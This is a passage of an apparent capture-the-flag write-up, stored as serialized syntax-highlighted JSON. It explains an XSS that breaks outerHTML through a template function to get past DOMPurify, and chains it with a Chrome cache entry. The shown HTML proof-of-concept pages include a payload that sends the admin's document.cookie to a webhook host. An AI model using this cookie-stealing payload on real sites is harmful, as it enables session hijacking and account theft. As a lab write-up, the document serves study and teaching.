type":32,"tag":46,"props":9515,"children":9516},{},[9517,9519,9524,9526,9531,9532,9537,9538,9543],{"type":37,"value":9518},"We can see that the call to the ",{"type":32,"tag":79,"props":9520,"children":9522},{"className":9521},[],[9523],{"type":37,"value":4225},{"type":37,"value":9525}," function sanitizes each dangerous character ",{"type":32,"tag":79,"props":9527,"children":9529},{"className":9528},[],[9530],{"type":37,"value":3234},{"type":37,"value":1635},{"type":32,"tag":79,"props":9533,"children":9535},{"className":9534},[],[9536],{"type":37,"value":3403},{"type":37,"value":4067},{"type":32,"tag":79,"props":9539,"children":9541},{"className":9540},[],[9542],{"type":37,"value":688},{"type":37,"value":9544}," with their HTML entities. This is a good practice to avoid XSS, but it is not enough.",{"type":32,"tag":46,"props":9546,"children":9547},{},[9548],{"type":37,"value":9549},"However, the last parameter is not sanitized, and it's a parameter we can control because it's directly the outerHTML that we control during the creation of an entry.",{"type":32,"tag":46,"props":9551,"children":9552},{},[9553],{"type":37,"value":9554},"And we must provide a valid input on the ?html= parameter when retrieving our input because a DOMPurify on the latest version is applied on the parameters before insertion in DOM.",{"type":32,"tag":46,"props":9556,"children":9557},{},[9558,9560,9565],{"type":37,"value":9559},"So in the ",{"type":32,"tag":79,"props":9561,"children":9563},{"className":9562},[],[9564],{"type":37,"value":5046},{"type":37,"value":9566}," function, we can see that the outerHTML is replaced with a custom template system. It will replace the name and value attributes with the key and value entries coming from the Chrome cache.",{"type":32,"tag":46,"props":9568,"children":9569},{},[9570],{"type":37,"value":9571},"It is then possible for us to add an input that is completely correct for DOMPurify but will \"break\" the outerHTML at the output of the function to execute JavaScript.",{"type":32,"tag":46,"props":9573,"children":9574},{},[9575],{"type":37,"value":9576},"If we pass the string below as outerHTML of the input function:",{"type":32,"tag":68,"props":9578,"children":9579},{"lang":3194},[9580],{"type":32,"tag":73,"props":9581,"children":9583},{"className":3198,"code":9582,"language":3194,"meta":7,"style":7},"\u003Cinput\n  type=\"image\"\n  data-value=\"{{VALUE}} id=asrc=x name=\"\n  value=\">{{VALUE}}\u003Cimg src=x onerror=alert(1)>\"\n  name=\"ooo\"\n>\n",[9584],{"type":32,"tag":79,"props":9585,"children":9586},{"__ignoreMap":7},[9587,9599,9624,9649,9683,9708],{"type":32,"tag":83,"props":9588,"children":9589},{"class":85,"line":86},[9590,9594],{"type":32,"tag":83,"props":9591,"children":9592},{"style":96},[9593],{"type":37,"value":3234},{"type":32,"tag":83,"props":9595,"children":9596},{"style":1664},[9597],{"type":37,"value":9598},"input\n",{"type":32,"tag":83,"props":9600,"children":9601},{"class":85,"line":119},[9602,9607,9611,9615,9620],{"type":32,"tag":83,"props":9603,"children":9604},{"style":1627},[9605],{"type":37,"value":9606},"  type",{"type":32,"tag":83,"props":9608,"children":9609},{"style":96},[9610],{"type":37,"value":3248},{"type":32,"tag":83,"props":9612,"children":9613},{"style":102},[9614],{"type":37,"value":688},{"type":32,"tag":83,"props":9616,"children":9617},{"style":108},[9618],{"type":37,"value":9619},"image",{"type":32,"tag":83,"props":9621,"children":9622},{"style":102},[9623],{"type":37,"value":1021},{"type":32,"tag":83,"props":9625,"children":9626},{"class":85,"line":129},[9627,9632,9636,9640,9645],{"type":32,"tag":83,"props":9628,"children":9629},{"style":1627},[9630],{"type":37,"value":9631},"  data-value",{"type":32,"tag":83,"props":9633,"children":9634},{"style":96},[9635],{"type":37,"value":3248},{"type":32,"tag":83,"props":9637,"children":9638},{"style":102},[9639],{"type":37,"value":688},{"type":32,"tag":83,"props":9641,"children":9642},{"style":108},[9643],{"type":37,"value":9644},"{{VALUE}} id=asrc=x name=",{"type":32,"tag":83,"props":9646,"children":9647},{"style":102},[9648],{"type":37,"value":1021},{"type":32,"tag":83,"props":9650,"children":9651},{"class":85,"line":143},[9652,9656,9660,9664,9669,9674,9679],{"type":32,"tag":83,"props":9653,"children":9654},{"style":1627},[9655],{"type":37,"value":5556},{"type":32,"tag":83,"props":9657,"children":9658},{"style":96},[9659],{"type":37,"value":3248},{"type":32,"tag":83,"props":9661,"children":9662},{"style":102},[9663],{"type":37,"value":688},{"type":32,"tag":83,"props":9665,"children":9666},{"style":108},[9667],{"type":37,"value":9668},">{{VALUE}}",{"type":32,"tag":83,"props":9670,"children":9672},{"style":9671},"--shiki-default:#FDAEB7;--shiki-default-font-style:italic",[9673],{"type":37,"value":3234},{"type":32,"tag":83,"props":9675,"children":9676},{"style":108},[9677],{"type":37,"value":9678},"img src=x onerror=alert(1)>",{"type":32,"tag":83,"props":9680,"children":9681},{"style":102},[9682],{"type":37,"value":1021},{"type":32,"tag":83,"props":9684,"children":9685},{"class":85,"line":156},[9686,9691,9695,9699,9704],{"type":32,"tag":83,"props":9687,"children":9688},{"style":1627},[9689],{"type":37,"value":9690},"  name",{"type":32,"tag":83,"props":9692,"children":9693},{"style":96},[9694],{"type":37,"value":3248},{"type":32,"tag":83,"props":9696,"children":9697},{"style":102},[9698],{"type":37,"value":688},{"type":32,"tag":83,"props":9700,"children":9701},{"style":108},[9702],{"type":37,"value":9703},"ooo",{"type":32,"tag":83,"props":9705,"children":9706},{"style":102},[9707],{"type":37,"value":1021},{"type":32,"tag":83,"props":9709,"children":9710},{"class":85,"line":174},[9711],{"type":32,"tag":83,"props":9712,"children":9713},{"style":96},[9714],{"type":37,"value":3226},{"type":32,"tag":57,"props":9716,"children":9718},{"imgSrc":9717},"https://res.cloudinary.com/dmju5zuhr/image/upload/v1731288047/writeups/shikanoko/poc_sandbox_xss.webp",[],{"type":32,"tag":46,"props":9720,"children":9721},{},[9722,9724,9730],{"type":37,"value":9723},"We can see that our ",{"type":32,"tag":79,"props":9725,"children":9727},{"className":9726},[],[9728],{"type":37,"value":9729},"\u003Cimg src=x onerror=alert(1)>",{"type":37,"value":9731}," is successfully output from our input",{"type":32,"tag":57,"props":9733,"children":9735},{"imgSrc":9734},"https://res.cloudinary.com/dmju5zuhr/image/upload/v1731279103/writeups/shikanoko/html_result.webp",[],{"type":32,"tag":39,"props":9737,"children":9739},{"id":9738},"final-payload",[9740],{"type":37,"value":9741},"Final payload",{"type":32,"tag":46,"props":9743,"children":9744},{},[9745],{"type":37,"value":9746},"We can now chain our two vulnerabilities to retrieve the flag on the bot.",{"type":32,"tag":46,"props":9748,"children":9749},{},[9750],{"type":37,"value":9751},"We will divide our final payload into 2:",{"type":32,"tag":68,"props":9753,"children":9754},{"lang":3194},[9755],{"type":32,"tag":73,"props":9756,"children":9758},{"className":3198,"code":9757,"language":3194,"meta":7,"style":7},"\u003C!-- index.html -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Get flag\u003C/h1>\n  \u003C/body>\n  \u003Cscript>\n    window.open(\"/1.html\", \"_blank\");\n    window.open(\"/2.html\", \"_blank\");\n  \u003C/script>\n\u003C/html>\n",[9759],{"type":32,"tag":79,"props":9760,"children":9761},{"__ignoreMap":7},[9762,9770,9785,9801,9833,9849,9864,9919,9971,9986],{"type":32,"tag":83,"props":9763,"children":9764},{"class":85,"line":86},[9765],{"type":32,"tag":83,"props":9766,"children":9767},{"style":542},[9768],{"type":37,"value":9769},"\u003C!-- index.html -->\n",{"type":32,"tag":83,"props":9771,"children":9772},{"class":85,"line":119},[9773,9777,9781],{"type":32,"tag":83,"props":9774,"children":9775},{"style":96},[9776],{"type":37,"value":3234},{"type":32,"tag":83,"props":9778,"children":9779},{"style":1664},[9780],{"type":37,"value":3194},{"type":32,"tag":83,"props":9782,"children":9783},{"style":96},[9784],{"type":37,"value":3226},{"type":32,"tag":83,"props":9786,"children":9787},{"class":85,"line":129},[9788,9793,9797],{"type":32,"tag":83,"props":9789,"children":9790},{"style":96},[9791],{"type":37,"value":9792},"  \u003C",{"type":32,"tag":83,"props":9794,"children":9795},{"style":1664},[9796],{"type":37,"value":3456},{"type":32,"tag":83,"props":9798,"children":9799},{"style":96},[9800],{"type":37,"value":3226},{"type":32,"tag":83,"props":9802,"children":9803},{"class":85,"line":143},[9804,9808,9812,9816,9821,9825,9829],{"type":32,"tag":83,"props":9805,"children":9806},{"style":96},[9807],{"type":37,"value":3296},{"type":32,"tag":83,"props":9809,"children":9810},{"style":1664},[9811],{"type":37,"value":33},{"type":32,"tag":83,"props":9813,"children":9814},{"style":96},[9815],{"type":37,"value":3403},{"type":32,"tag":83,"props":9817,"children":9818},{"style":3406},[9819],{"type":37,"value":9820},"Get flag",{"type":32,"tag":83,"props":9822,"children":9823},{"style":96},[9824],{"type":37,"value":3414},{"type":32,"tag":83,"props":9826,"children":9827},{"style":1664},[9828],{"type":37,"value":33},{"type":32,"tag":83,"props":9830,"children":9831},{"style":96},[9832],{"type":37,"value":3226},{"type":32,"tag":83,"props":9834,"children":9835},{"class":85,"line":156},[9836,9841,9845],{"type":32,"tag":83,"props":9837,"children":9838},{"style":96},[9839],{"type":37,"value":9840},"  \u003C/",{"type":32,"tag":83,"props":9842,"children":9843},{"style":1664},[9844],{"type":37,"value":3456},{"type":32,"tag":83,"props":9846,"children":9847},{"style":96},[9848],{"type":37,"value":3226},{"type":32,"tag":83,"props":9850,"children":9851},{"class":85,"line":174},[9852,9856,9860],{"type":32,"tag":83,"props":9853,"children":9854},{"style":96},[9855],{"type":37,"value":9792},{"type":32,"tag":83,"props":9857,"children":9858},{"style":1664},[9859],{"type":37,"value":3728},{"type":32,"tag":83,"props":9861,"children":9862},{"style":96},[9863],{"type":37,"value":3226},{"type":32,"tag":83,"props":9865,"children":9866},{"class":85,"line":192},[9867,9872,9876,9881,9885,9889,9894,9898,9902,9906,9911,9915],{"type":32,"tag":83,"props":9868,"children":9869},{"style":1627},[9870],{"type":37,"value":9871},"    window",{"type":32,"tag":83,"props":9873,"children":9874},{"style":96},[9875],{"type":37,"value":627},{"type":32,"tag":83,"props":9877,"children":9878},{"style":1616},[9879],{"type":37,"value":9880},"open",{"type":32,"tag":83,"props":9882,"children":9883},{"style":96},[9884],{"type":37,"value":1624},{"type":32,"tag":83,"props":9886,"children":9887},{"style":102},[9888],{"type":37,"value":688},{"type":32,"tag":83,"props":9890,"children":9891},{"style":108},[9892],{"type":37,"value":9893},"/1.html",{"type":32,"tag":83,"props":9895,"children":9896},{"style":102},[9897],{"type":37,"value":688},{"type":32,"tag":83,"props":9899,"children":9900},{"style":96},[9901],{"type":37,"value":1635},{"type":32,"tag":83,"props":9903,"children":9904},{"style":102},[9905],{"type":37,"value":727},{"type":32,"tag":83,"props":9907,"children":9908},{"style":108},[9909],{"type":37,"value":9910},"_blank",{"type":32,"tag":83,"props":9912,"children":9913},{"style":102},[9914],{"type":37,"value":688},{"type":32,"tag":83,"props":9916,"children":9917},{"style":96},[9918],{"type":37,"value":1812},{"type":32,"tag":83,"props":9920,"children":9921},{"class":85,"line":205},[9922,9926,9930,9934,9938,9942,9947,9951,9955,9959,9963,9967],{"type":32,"tag":83,"props":9923,"children":9924},{"style":1627},[9925],{"type":37,"value":9871},{"type":32,"tag":83,"props":9927,"children":9928},{"style":96},[9929],{"type":37,"value":627},{"type":32,"tag":83,"props":9931,"children":9932},{"style":1616},[9933],{"type":37,"value":9880},{"type":32,"tag":83,"props":9935,"children":9936},{"style":96},[9937],{"type":37,"value":1624},{"type":32,"tag":83,"props":9939,"children":9940},{"style":102},[9941],{"type":37,"value":688},{"type":32,"tag":83,"props":9943,"children":9944},{"style":108},[9945],{"type":37,"value":9946},"/2.html",{"type":32,"tag":83,"props":9948,"children":9949},{"style":102},[9950],{"type":37,"value":688},{"type":32,"tag":83,"props":9952,"children":9953},{"style":96},[9954],{"type":37,"value":1635},{"type":32,"tag":83,"props":9956,"children":9957},{"style":102},[9958],{"type":37,"value":727},{"type":32,"tag":83,"props":9960,"children":9961},{"style":108},[9962],{"type":37,"value":9910},{"type":32,"tag":83,"props":9964,"children":9965},{"style":102},[9966],{"type":37,"value":688},{"type":32,"tag":83,"props":9968,"children":9969},{"style":96},[9970],{"type":37,"value":1812},{"type":32,"tag":83,"props":9972,"children":9973},{"class":85,"line":219},[9974,9978,9982],{"type":32,"tag":83,"props":9975,"children":9976},{"style":96},[9977],{"type":37,"value":9840},{"type":32,"tag":83,"props":9979,"children":9980},{"style":1664},[9981],{"type":37,"value":3728},{"type":32,"tag":83,"props":9983,"children":9984},{"style":96},[9985],{"type":37,"value":3226},{"type":32,"tag":83,"props":9987,"children":9988},{"class":85,"line":232},[9989,9993,9997],{"type":32,"tag":83,"props":9990,"children":9991},{"style":96},[9992],{"type":37,"value":3414},{"type":32,"tag":83,"props":9994,"children":9995},{"style":1664},[9996],{"type":37,"value":3194},{"type":32,"tag":83,"props":9998,"children":9999},{"style":96},[10000],{"type":37,"value":3226},{"type":32,"tag":1455,"props":10002,"children":10003},{},[10004],{"type":32,"tag":1459,"props":10005,"children":10006},{},[10007],{"type":37,"value":10008},"The first will create the entry in our victim's cache storage:",{"type":32,"tag":68,"props":10010,"children":10011},{"lang":3194},[10012],{"type":32,"tag":73,"props":10013,"children":10015},{"className":3198,"code":10014,"language":3194,"meta":7,"style":7},"\u003C!-- ./1.html -->\n \u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Test poc\u003C/h1>\n    \u003Cinput id=\"html\" type=\"text\" name=\"ooo\" placeholder=\"Enter HTML content\">\n  \u003C/body>\n  \u003Cscript>\n    (async () => {\n            const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));\n                await sleep(1000);\n        document.location = 'http://proxy/?html=\u003Cinput name=\"ooo\" value=\"iiiiii\" name=\"ooo\" type=\"image\">';\n                html_elm = document.getElementById(\"html\");\n                html_elm.value = \"PWNED shikanoko nokonoko koshitantan\";\n                let event = new Event('change');\n                html_elm.dispatchEvent(event);\n        })();\n  \u003C/script>\n\u003C/html>\n",[10016],{"type":32,"tag":79,"props":10017,"children":10018},{"__ignoreMap":7},[10019,10027,10043,10058,10089,10184,10199,10214,10238,10313,10336,10373,10416,10451,10494,10521,10528,10543],{"type":32,"tag":83,"props":10020,"children":10021},{"class":85,"line":86},[10022],{"type":32,"tag":83,"props":10023,"children":10024},{"style":542},[10025],{"type":37,"value":10026},"\u003C!-- ./1.html -->\n",{"type":32,"tag":83,"props":10028,"children":10029},{"class":85,"line":119},[10030,10035,10039],{"type":32,"tag":83,"props":10031,"children":10032},{"style":96},[10033],{"type":37,"value":10034}," \u003C",{"type":32,"tag":83,"props":10036,"children":10037},{"style":1664},[10038],{"type":37,"value":3194},{"type":32,"tag":83,"props":10040,"children":10041},{"style":96},[10042],{"type":37,"value":3226},{"type":32,"tag":83,"props":10044,"children":10045},{"class":85,"line":129},[10046,10050,10054],{"type":32,"tag":83,"props":10047,"children":10048},{"style":96},[10049],{"type":37,"value":9792},{"type":32,"tag":83,"props":10051,"children":10052},{"style":1664},[10053],{"type":37,"value":3456},{"type":32,"tag":83,"props":10055,"children":10056},{"style":96},[10057],{"type":37,"value":3226},{"type":32,"tag":83,"props":10059,"children":10060},{"class":85,"line":143},[10061,10065,10069,10073,10077,10081,10085],{"type":32,"tag":83,"props":10062,"children":10063},{"style":96},[10064],{"type":37,"value":3296},{"type":32,"tag":83,"props":10066,"children":10067},{"style":1664},[10068],{"type":37,"value":33},{"type":32,"tag":83,"props":10070,"children":10071},{"style":96},[10072],{"type":37,"value":3403},{"type":32,"tag":83,"props":10074,"children":10075},{"style":3406},[10076],{"type":37,"value":8196},{"type":32,"tag":83,"props":10078,"children":10079},{"style":96},[10080],{"type":37,"value":3414},{"type":32,"tag":83,"props":10082,"children":10083},{"style":1664},[10084],{"type":37,"value":33},{"type":32,"tag":83,"props":10086,"children":10087},{"style":96},[10088],{"type":37,"value":3226},{"type":32,"tag":83,"props":10090,"children":10091},{"class":85,"line":156},[10092,10096,10100,10104,10108,10112,10116,10120,10124,10128,10132,10136,10140,10144,10148,10152,10156,10160,10164,10168,10172,10176,10180],{"type":32,"tag":83,"props":10093,"children":10094},{"style":96},[10095],{"type":37,"value":3296},{"type":32,"tag":83,"props":10097,"children":10098},{"style":1664},[10099],{"type":37,"value":3543},{"type":32,"tag":83,"props":10101,"children":10102},{"style":1627},[10103],{"type":37,"value":8224},{"type":32,"tag":83,"props":10105,"children":10106},{"style":96},[10107],{"type":37,"value":3248},{"type":32,"tag":83,"props":10109,"children":10110},{"style":102},[10111],{"type":37,"value":688},{"type":32,"tag":83,"props":10113,"children":10114},{"style":108},[10115],{"type":37,"value":3194},{"type":32,"tag":83,"props":10117,"children":10118},{"style":102},[10119],{"type":37,"value":688},{"type":32,"tag":83,"props":10121,"children":10122},{"style":1627},[10123],{"type":37,"value":3548},{"type":32,"tag":83,"props":10125,"children":10126},{"style":96},[10127],{"type":37,"value":3248},{"type":32,"tag":83,"props":10129,"children":10130},{"style":102},[10131],{"type":37,"value":688},{"type":32,"tag":83,"props":10133,"children":10134},{"style":108},[10135],{"type":37,"value":37},{"type":32,"tag":83,"props":10137,"children":10138},{"style":102},[10139],{"type":37,"value":688},{"type":32,"tag":83,"props":10141,"children":10142},{"style":1627},[10143],{"type":37,"value":3343},{"type":32,"tag":83,"props":10145,"children":10146},{"style":96},[10147],{"type":37,"value":3248},{"type":32,"tag":83,"props":10149,"children":10150},{"style":102},[10151],{"type":37,"value":688},{"type":32,"tag":83,"props":10153,"children":10154},{"style":108},[10155],{"type":37,"value":9703},{"type":32,"tag":83,"props":10157,"children":10158},{"style":102},[10159],{"type":37,"value":688},{"type":32,"tag":83,"props":10161,"children":10162},{"style":1627},[10163],{"type":37,"value":3589},{"type":32,"tag":83,"props":10165,"children":10166},{"style":96},[10167],{"type":37,"value":3248},{"type":32,"tag":83,"props":10169,"children":10170},{"style":102},[10171],{"type":37,"value":688},{"type":32,"tag":83,"props":10173,"children":10174},{"style":108},[10175],{"type":37,"value":3602},{"type":32,"tag":83,"props":10177,"children":10178},{"style":102},[10179],{"type":37,"value":688},{"type":32,"tag":83,"props":10181,"children":10182},{"style":96},[10183],{"type":37,"value":3226},{"type":32,"tag":83,"props":10185,"children":10186},{"class":85,"line":174},[10187,10191,10195],{"type":32,"tag":83,"props":10188,"children":10189},{"style":96},[10190],{"type":37,"value":9840},{"type":32,"tag":83,"props":10192,"children":10193},{"style":1664},[10194],{"type":37,"value":3456},{"type":32,"tag":83,"props":10196,"children":10197},{"style":96},[10198],{"type":37,"value":3226},{"type":32,"tag":83,"props":10200,"children":10201},{"class":85,"line":192},[10202,10206,10210],{"type":32,"tag":83,"props":10203,"children":10204},{"style":96},[10205],{"type":37,"value":9792},{"type":32,"tag":83,"props":10207,"children":10208},{"style":1664},[10209],{"type":37,"value":3728},{"type":32,"tag":83,"props":10211,"children":10212},{"style":96},[10213],{"type":37,"value":3226},{"type":32,"tag":83,"props":10215,"children":10216},{"class":85,"line":205},[10217,10222,10226,10230,10234],{"type":32,"tag":83,"props":10218,"children":10219},{"style":96},[10220],{"type":37,"value":10221},"    (",{"type":32,"tag":83,"props":10223,"children":10224},{"style":1610},[10225],{"type":37,"value":2488},{"type":32,"tag":83,"props":10227,"children":10228},{"style":96},[10229],{"type":37,"value":1879},{"type":32,"tag":83,"props":10231,"children":10232},{"style":96},[10233],{"type":37,"value":1705},{"type":32,"tag":83,"props":10235,"children":10236},{"style":96},[10237],{"type":37,"value":875},{"type":32,"tag":83,"props":10239,"children":10240},{"class":85,"line":219},[10241,10245,10249,10253,10257,10261,10265,10269,10273,10277,10281,10285,10289,10293,10297,10301,10305,10309],{"type":32,"tag":83,"props":10242,"children":10243},{"style":1610},[10244],{"type":37,"value":8366},{"type":32,"tag":83,"props":10246,"children":10247},{"style":1616},[10248],{"type":37,"value":8371},{"type":32,"tag":83,"props":10250,"children":10251},{"style":96},[10252],{"type":37,"value":1722},{"type":32,"tag":83,"props":10254,"children":10255},{"style":96},[10256],{"type":37,"value":2187},{"type":32,"tag":83,"props":10258,"children":10259},{"style":1627},[10260],{"type":37,"value":8384},{"type":32,"tag":83,"props":10262,"children":10263},{"style":96},[10264],{"type":37,"value":1654},{"type":32,"tag":83,"props":10266,"children":10267},{"style":96},[10268],{"type":37,"value":1705},{"type":32,"tag":83,"props":10270,"children":10271},{"style":1610},[10272],{"type":37,"value":1672},{"type":32,"tag":83,"props":10274,"children":10275},{"style":90},[10276],{"type":37,"value":1677},{"type":32,"tag":83,"props":10278,"children":10279},{"style":96},[10280],{"type":37,"value":1624},{"type":32,"tag":83,"props":10282,"children":10283},{"style":1627},[10284],{"type":37,"value":1687},{"type":32,"tag":83,"props":10286,"children":10287},{"style":96},[10288],{"type":37,"value":1705},{"type":32,"tag":83,"props":10290,"children":10291},{"style":1616},[10292],{"type":37,"value":8417},{"type":32,"tag":83,"props":10294,"children":10295},{"style":96},[10296],{"type":37,"value":1624},{"type":32,"tag":83,"props":10298,"children":10299},{"style":1627},[10300],{"type":37,"value":1687},{"type":32,"tag":83,"props":10302,"children":10303},{"style":96},[10304],{"type":37,"value":1635},{"type":32,"tag":83,"props":10306,"children":10307},{"style":1627},[10308],{"type":37,"value":8434},{"type":32,"tag":83,"props":10310,"children":10311},{"style":96},[10312],{"type":37,"value":8439},{"type":32,"tag":83,"props":10314,"children":10315},{"class":85,"line":232},[10316,10320,10324,10328,10332],{"type":32,"tag":83,"props":10317,"children":10318},{"style":1664},[10319],{"type":37,"value":8447},{"type":32,"tag":83,"props":10321,"children":10322},{"style":1616},[10323],{"type":37,"value":8371},{"type":32,"tag":83,"props":10325,"children":10326},{"style":96},[10327],{"type":37,"value":1624},{"type":32,"tag":83,"props":10329,"children":10330},{"style":454},[10331],{"type":37,"value":8460},{"type":32,"tag":83,"props":10333,"children":10334},{"style":96},[10335],{"type":37,"value":1812},{"type":32,"tag":83,"props":10337,"children":10338},{"class":85,"line":245},[10339,10344,10348,10352,10356,10360,10365,10369],{"type":32,"tag":83,"props":10340,"children":10341},{"style":1627},[10342],{"type":37,"value":10343},"        document",{"type":32,"tag":83,"props":10345,"children":10346},{"style":96},[10347],{"type":37,"value":627},{"type":32,"tag":83,"props":10349,"children":10350},{"style":1627},[10351],{"type":37,"value":3811},{"type":32,"tag":83,"props":10353,"children":10354},{"style":96},[10355],{"type":37,"value":1722},{"type":32,"tag":83,"props":10357,"children":10358},{"style":102},[10359],{"type":37,"value":105},{"type":32,"tag":83,"props":10361,"children":10362},{"style":108},[10363],{"type":37,"value":10364},"http://proxy/?html=\u003Cinput name=\"ooo\" value=\"iiiiii\" name=\"ooo\" type=\"image\">",{"type":32,"tag":83,"props":10366,"children":10367},{"style":102},[10368],{"type":37,"value":1544},{"type":32,"tag":83,"props":10370,"children":10371},{"style":96},[10372],{"type":37,"value":1558},{"type":32,"tag":83,"props":10374,"children":10375},{"class":85,"line":258},[10376,10380,10384,10388,10392,10396,10400,10404,10408,10412],{"type":32,"tag":83,"props":10377,"children":10378},{"style":1627},[10379],{"type":37,"value":8509},{"type":32,"tag":83,"props":10381,"children":10382},{"style":96},[10383],{"type":37,"value":1722},{"type":32,"tag":83,"props":10385,"children":10386},{"style":1627},[10387],{"type":37,"value":4600},{"type":32,"tag":83,"props":10389,"children":10390},{"style":96},[10391],{"type":37,"value":627},{"type":32,"tag":83,"props":10393,"children":10394},{"style":1616},[10395],{"type":37,"value":8526},{"type":32,"tag":83,"props":10397,"children":10398},{"style":96},[10399],{"type":37,"value":1624},{"type":32,"tag":83,"props":10401,"children":10402},{"style":102},[10403],{"type":37,"value":688},{"type":32,"tag":83,"props":10405,"children":10406},{"style":108},[10407],{"type":37,"value":3194},{"type":32,"tag":83,"props":10409,"children":10410},{"style":102},[10411],{"type":37,"value":688},{"type":32,"tag":83,"props":10413,"children":10414},{"style":96},[10415],{"type":37,"value":1812},{"type":32,"tag":83,"props":10417,"children":10418},{"class":85,"line":271},[10419,10423,10427,10431,10435,10439,10443,10447],{"type":32,"tag":83,"props":10420,"children":10421},{"style":1627},[10422],{"type":37,"value":8509},{"type":32,"tag":83,"props":10424,"children":10425},{"style":96},[10426],{"type":37,"value":627},{"type":32,"tag":83,"props":10428,"children":10429},{"style":1627},[10430],{"type":37,"value":2792},{"type":32,"tag":83,"props":10432,"children":10433},{"style":96},[10434],{"type":37,"value":1722},{"type":32,"tag":83,"props":10436,"children":10437},{"style":102},[10438],{"type":37,"value":727},{"type":32,"tag":83,"props":10440,"children":10441},{"style":108},[10442],{"type":37,"value":8136},{"type":32,"tag":83,"props":10444,"children":10445},{"style":102},[10446],{"type":37,"value":688},{"type":32,"tag":83,"props":10448,"children":10449},{"style":96},[10450],{"type":37,"value":1558},{"type":32,"tag":83,"props":10452,"children":10453},{"class":85,"line":284},[10454,10458,10462,10466,10470,10474,10478,10482,10486,10490],{"type":32,"tag":83,"props":10455,"children":10456},{"style":1610},[10457],{"type":37,"value":8589},{"type":32,"tag":83,"props":10459,"children":10460},{"style":1627},[10461],{"type":37,"value":6257},{"type":32,"tag":83,"props":10463,"children":10464},{"style":96},[10465],{"type":37,"value":1722},{"type":32,"tag":83,"props":10467,"children":10468},{"style":1610},[10469],{"type":37,"value":1672},{"type":32,"tag":83,"props":10471,"children":10472},{"style":1616},[10473],{"type":37,"value":8606},{"type":32,"tag":83,"props":10475,"children":10476},{"style":96},[10477],{"type":37,"value":1624},{"type":32,"tag":83,"props":10479,"children":10480},{"style":102},[10481],{"type":37,"value":1544},{"type":32,"tag":83,"props":10483,"children":10484},{"style":108},[10485],{"type":37,"value":6202},{"type":32,"tag":83,"props":10487,"children":10488},{"style":102},[10489],{"type":37,"value":1544},{"type":32,"tag":83,"props":10491,"children":10492},{"style":96},[10493],{"type":37,"value":1812},{"type":32,"tag":83,"props":10495,"children":10496},{"class":85,"line":297},[10497,10501,10505,10509,10513,10517],{"type":32,"tag":83,"props":10498,"children":10499},{"style":1627},[10500],{"type":37,"value":8509},{"type":32,"tag":83,"props":10502,"children":10503},{"style":96},[10504],{"type":37,"value":627},{"type":32,"tag":83,"props":10506,"children":10507},{"style":1616},[10508],{"type":37,"value":8642},{"type":32,"tag":83,"props":10510,"children":10511},{"style":96},[10512],{"type":37,"value":1624},{"type":32,"tag":83,"props":10514,"children":10515},{"style":1627},[10516],{"type":37,"value":6228},{"type":32,"tag":83,"props":10518,"children":10519},{"style":96},[10520],{"type":37,"value":1812},{"type":32,"tag":83,"props":10522,"children":10523},{"class":85,"line":310},[10524],{"type":32,"tag":83,"props":10525,"children":10526},{"style":96},[10527],{"type":37,"value":8662},{"type":32,"tag":83,"props":10529,"children":10530},{"class":85,"line":323},[10531,10535,10539],{"type":32,"tag":83,"props":10532,"children":10533},{"style":96},[10534],{"type":37,"value":9840},{"type":32,"tag":83,"props":10536,"children":10537},{"style":1664},[10538],{"type":37,"value":3728},{"type":32,"tag":83,"props":10540,"children":10541},{"style":96},[10542],{"type":37,"value":3226},{"type":32,"tag":83,"props":10544,"children":10545},{"class":85,"line":340},[10546,10550,10554],{"type":32,"tag":83,"props":10547,"children":10548},{"style":96},[10549],{"type":37,"value":3414},{"type":32,"tag":83,"props":10551,"children":10552},{"style":1664},[10553],{"type":37,"value":3194},{"type":32,"tag":83,"props":10555,"children":10556},{"style":96},[10557],{"type":37,"value":3226},{"type":32,"tag":1455,"props":10559,"children":10560},{},[10561],{"type":32,"tag":1459,"props":10562,"children":10563},{},[10564],{"type":37,"value":10565},"The second will exploit the XSS injection to retrieve the admin's cookie:",{"type":32,"tag":68,"props":10567,"children":10568},{"lang":3194},[10569],{"type":32,"tag":73,"props":10570,"children":10572},{"className":3198,"code":10571,"language":3194,"meta":7,"style":7},"\u003C!-- ./2.html -->\n\u003Chtml>\n  \u003Cbody>\n    \u003Ch1>Test poc\u003C/h1>\n    \u003Cinput id=\"html\" type=\"text\" name=\"ooo\" placeholder=\"Enter HTML content\">\n  \u003C/body>\n  \u003Cscript>\n    (async () => {\n            const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));\n                await sleep(1000);\n        document.location = `http://proxy/?html=\u003Cinput name=\"aaa\" value=\">{{VALUE}}hello\u003Cimg src=x onerror=window.location='https://webhook/?flag='+btoa(document.cookie)>\" data-value=\"DDDDD{{VALUE}}aaaaa id=asrc=x name=\"ooo\" type=\"image\">`;\n                html_elm = document.getElementById(\"html\");\n                html_elm.value = \"PWNED shikanoko nokonoko koshitantan\";\n                let event = new Event('change');\n                html_elm.dispatchEvent(event);\n        })();\n  \u003C/script>\n\u003C/html>\n\n",[10573],{"type":32,"tag":79,"props":10574,"children":10575},{"__ignoreMap":7},[10576,10584,10599,10614,10645,10740,10755,10770,10793,10868,10891,10929,10972,11007,11050,11077,11084,11099],{"type":32,"tag":83,"props":10577,"children":10578},{"class":85,"line":86},[10579],{"type":32,"tag":83,"props":10580,"children":10581},{"style":542},[10582],{"type":37,"value":10583},"\u003C!-- ./2.html -->\n",{"type":32,"tag":83,"props":10585,"children":10586},{"class":85,"line":119},[10587,10591,10595],{"type":32,"tag":83,"props":10588,"children":10589},{"style":96},[10590],{"type":37,"value":3234},{"type":32,"tag":83,"props":10592,"children":10593},{"style":1664},[10594],{"type":37,"value":3194},{"type":32,"tag":83,"props":10596,"children":10597},{"style":96},[10598],{"type":37,"value":3226},{"type":32,"tag":83,"props":10600,"children":10601},{"class":85,"line":129},[10602,10606,10610],{"type":32,"tag":83,"props":10603,"children":10604},{"style":96},[10605],{"type":37,"value":9792},{"type":32,"tag":83,"props":10607,"children":10608},{"style":1664},[10609],{"type":37,"value":3456},{"type":32,"tag":83,"props":10611,"children":10612},{"style":96},[10613],{"type":37,"value":3226},{"type":32,"tag":83,"props":10615,"children":10616},{"class":85,"line":143},[10617,10621,10625,10629,10633,10637,10641],{"type":32,"tag":83,"props":10618,"children":10619},{"style":96},[10620],{"type":37,"value":3296},{"type":32,"tag":83,"props":10622,"children":10623},{"style":1664},[10624],{"type":37,"value":33},{"type":32,"tag":83,"props":10626,"children":10627},{"s